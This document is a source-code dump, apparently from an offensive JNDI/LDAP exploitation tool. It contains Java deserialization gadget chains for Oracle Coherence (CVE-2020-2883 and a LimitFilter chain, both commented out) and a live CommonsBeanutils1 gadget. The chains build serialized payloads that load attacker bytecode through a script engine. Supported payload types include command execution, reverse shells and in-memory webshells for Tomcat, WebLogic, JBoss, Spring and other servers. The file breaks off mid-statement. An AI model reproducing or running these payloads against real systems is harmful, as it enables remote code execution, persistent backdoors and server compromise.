79 | // bytes = Cache.get(shortName);
80 | // }
81 | // String classCode = HexUtils.toHexString(bytes);
82 | //
83 | // String code = "var hex = '" + classCode + "';\n" +
84 | // "hex = hex.length() % 2 != 0 ? \"0\" + hex : hex;\n" +
85 | // "var b = new java.io.ByteArrayOutputStream();\n" +
86 | // "for (var i = 0; i < hex.length() / 2; i++) {\n" +
87 | // " var index = i * 2;\n" +
88 | // " var v = java.lang.Integer.parseInt(hex.substring(index, index + 2), 16);\n" +
89 | // " b.write(v);\n" +
90 | // "};\n" +
91 | // "b.close(); \n" +
92 | // "var bytes = b.toByteArray(); \n" +
93 | // "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
94 | // "try{\n" +
95 | // " var clazz = classLoader.loadClass('" + className + "');\n" +
96 | // " clazz.newInstance();\n" +
97 | // "}catch(err){\n" +
98 | // " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
99 | // " method.setAccessible(true);\n" +
100 | // " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
101 | // " clazz.newInstance();\n" +
102 | // "}";
103 | //
104 | // ReflectionExtractor extractor1 = new ReflectionExtractor(
105 | // "getConstructor",
106 | // new Object[]{new Class[0]}
107 | // );
108 | //
109 | // ReflectionExtractor extractor2 = new ReflectionExtractor(
110 | // "newInstance",
111 | // new Object[]{new Object[0]}
112 | // );
113 | //
114 | // ReflectionExtractor extractor3 = new ReflectionExtractor(
115 | // "getEngineByName",
116 | // new Object[]{"javascript"}
117 | // );
118 | //
119 | // ReflectionExtractor extractor4 = new ReflectionExtractor(
120 | // "eval",
121 | // new Object[]{code}
122 | // );
123 | //
124 | // ReflectionExtractor[] extractors = {
125 | // extractor1,
126 | // extractor2,
127 | // extractor3,
128 | // extractor4
129 | // };
130 | //
131 | // ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
132 | // LimitFilter limitFilter = new LimitFilter();
133 | //
134 | // //m_comparator
135 | // Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
136 | // m_comparator.setAccessible(true);
137 | // m_comparator.set(limitFilter, chainedExtractor);
138 | //
139 | // //m_oAnchorTop
140 | // Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
141 | // m_oAnchorTop.setAccessible(true);
142 | // m_oAnchorTop.set(limitFilter, ScriptEngineManager.class);
143 | //
144 | // BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
145 | // Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
146 | // field.setAccessible(true);
147 | // field.set(badAttributeValueExpException, limitFilter);
148 | //
149 | // //序列化
150 | // ByteArrayOutputStream baous = new ByteArrayOutputStream();
151 | // ObjectOutputStream oos = new ObjectOutputStream(baous);
152 | // oos.writeObject(badAttributeValueExpException);
153 | // bytes = baous.toByteArray();
154 | // oos.close();
155 | //
156 | // return bytes;
157 | // }
158 | //}
159 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/CVE_2020_2883.java:
--------------------------------------------------------------------------------
1 | //package com.feihong.ldap.gadgets;
2 | //
3 | //import com.feihong.ldap.enumtypes.PayloadType;
4 | //import com.feihong.ldap.gadgets.utils.Reflections;
5 | //import com.feihong.ldap.template.*;
6 | //import com.feihong.ldap.utils.Cache;
7 | //import com.tangosol.util.ValueExtractor;
8 | //import com.tangosol.util.comparator.ExtractorComparator;
9 | //import com.tangosol.util.extractor.ChainedExtractor;
10 | //import com.tangosol.util.extractor.ReflectionExtractor;
11 | //import org.apache.tomcat.util.buf.HexUtils;
12 | //import javax.script.ScriptEngineManager;
13 | //import java.io.ByteArrayOutputStream;
14 | //import java.io.ObjectOutputStream;
15 | //import java.lang.reflect.Field;
16 | //import java.util.PriorityQueue;
17 | //
18 | //
19 | //public class CVE_2020_2883 {
20 | // public static byte[] getBytes(PayloadType type, String... param) throws Exception {
21 | //
22 | // String className;
23 | // switch (type){
24 | // case command:
25 | // CommandTemplate commandTemplate = new CommandTemplate(param[0]);
26 | // commandTemplate.cache();
27 | // className = commandTemplate.getClassName();
28 | // break;
29 | // case dnslog:
30 | // DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]);
31 | // dnslogTemplate.cache();
32 | // className = dnslogTemplate.getClassName();
33 | // break;
34 | // case reverseshell:
35 | // ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]);
36 | // reverseShellTemplate.cache();
37 | // className = reverseShellTemplate.getClassName();
38 | // break;
39 | // case tomcatecho:
40 | // className = TomcatEchoTemplate.class.getName();
41 | // break;
42 | // case springecho:
43 | // className = SpringEchoTemplate.class.getName();
44 | // break;
45 | // case weblogicecho:
46 | // className = WeblogicEchoTemplate.class.getName();
47 | // break;
48 | // case tomcatmemshell1:
49 | // className = TomcatMemshellTemplate1.class.getName();
50 | // break;
51 | // case tomcatmemshell2:
52 | // className = TomcatMemshellTemplate2.class.getName();
53 | // break;
54 | // case jettymemshell:
55 | // className = JettyMemshellTemplate.class.getName();
56 | // break;
57 | // case jbossmemshell:
58 | // className = JBossMemshellTemplate.class.getName();
59 | // break;
60 | // case weblogicmemshell1:
61 | // className = WeblogicMemshellTemplate1.class.getName();
62 | // break;
63 | // case weblogicmemshell2:
64 | // className = WeblogicMemshellTemplate2.class.getName();
65 | // break;
66 | // case webspherememshell:
67 | // className = WebsphereMemshellTemplate.class.getName();
68 | // break;
69 | // case springmemshell:
70 | // className = SpringMemshellTemplate.class.getName();
71 | // break;
72 | // default:
73 | // throw new IllegalStateException("Unexpected value: " + type);
74 | // }
75 | //
76 | // byte[] bytes = Cache.get(className);
77 | // if(bytes == null){
78 | // String shortName = className.substring(className.lastIndexOf(".") + 1);
79 | // bytes = Cache.get(shortName);
80 | // }
81 | // String classCode = HexUtils.toHexString(bytes);
82 | //
83 | // String code = "var hex = '" + classCode + "';\n" +
84 | // "hex = hex.length() % 2 != 0 ? \"0\" + hex : hex;\n" +
85 | // "var b = new java.io.ByteArrayOutputStream();\n" +
86 | // "for (var i = 0; i < hex.length() / 2; i++) {\n" +
87 | // " var index = i * 2;\n" +
88 | // " var v = java.lang.Integer.parseInt(hex.substring(index, index + 2), 16);\n" +
89 | // " b.write(v);\n" +
90 | // "};\n" +
91 | // "b.close(); \n" +
92 | // "var bytes = b.toByteArray(); \n" +
93 | // "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
94 | // "try{\n" +
95 | // " var clazz = classLoader.loadClass('" + className + "');\n" +
96 | // " clazz.newInstance();\n" +
97 | // "}catch(err){\n" +
98 | // " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
99 | // " method.setAccessible(true);\n" +
100 | // " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
101 | // " clazz.newInstance();\n" +
102 | // "}";
103 | //
104 | // ReflectionExtractor extractor1 = new ReflectionExtractor(
105 | // "getConstructor",
106 | // new Object[]{new Class[0]}
107 | // );
108 | //
109 | // ReflectionExtractor extractor2 = new ReflectionExtractor(
110 | // "newInstance",
111 | // new Object[]{new Object[0]}
112 | // );
113 | //
114 | // ReflectionExtractor extractor3 = new ReflectionExtractor(
115 | // "getEngineByName",
116 | // new Object[]{"javascript"}
117 | // );
118 | //
119 | // ReflectionExtractor extractor4 = new ReflectionExtractor(
120 | // "eval",
121 | // new Object[]{code}
122 | // );
123 | //
124 | // ReflectionExtractor[] extractors = {
125 | // extractor1,
126 | // extractor2,
127 | // extractor3,
128 | // extractor4
129 | // };
130 | //
131 | // Class clazz = ChainedExtractor.class.getSuperclass();
132 | // Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
133 | // m_aExtractor.setAccessible(true);
134 | //
135 | // ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
136 | // ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
137 | // reflectionExtractor
138 | // };
139 | //
140 | // ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
141 | //
142 | // PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
143 | // queue.add("1");
144 | // queue.add("1");
145 | // m_aExtractor.set(chainedExtractor1, extractors);
146 | //
147 | // Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
148 | // queueArray[0] = ScriptEngineManager.class;
149 | // queueArray[1] = "1";
150 | //
151 | // //序列化
152 | // ByteArrayOutputStream baous = new ByteArrayOutputStream();
153 | // ObjectOutputStream oos = new ObjectOutputStream(baous);
154 | // oos.writeObject(queue);
155 | // bytes = baous.toByteArray();
156 | // oos.close();
157 | //
158 | // return bytes;
159 | // }
160 | //}
161 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.gadgets.utils.Gadgets;
5 | import com.feihong.ldap.gadgets.utils.Reflections;
6 | import com.feihong.ldap.utils.MyURLClassLoader;
7 | import java.io.ByteArrayOutputStream;
8 | import java.io.FileOutputStream;
9 | import java.io.ObjectOutputStream;
10 | import java.math.BigInteger;
11 | import java.util.Comparator;
12 | import java.util.PriorityQueue;
13 |
14 | public class CommonsBeanutils1 {
15 | public static void main(String[] args) throws Exception {
16 | byte[] bytes = getBytes(PayloadType.command, "calc");
17 | FileOutputStream fous = new FileOutputStream("333.ser");
18 | fous.write(bytes);
19 | fous.close();
20 | }
21 |
22 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
23 | final Object templates = Gadgets.createTemplatesImpl(type, param);
24 | // mock method name until armed
25 | MyURLClassLoader classLoader = new MyURLClassLoader("commons-beanutils-1.9.2.jar");
26 | Class clazz = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
27 | Object comparator = clazz.getDeclaredConstructor(new Class[]{String.class}).newInstance(new Object[]{"lowestSetBit"});
28 |
29 |
30 | // create queue with numbers and basic comparator
31 | final PriorityQueue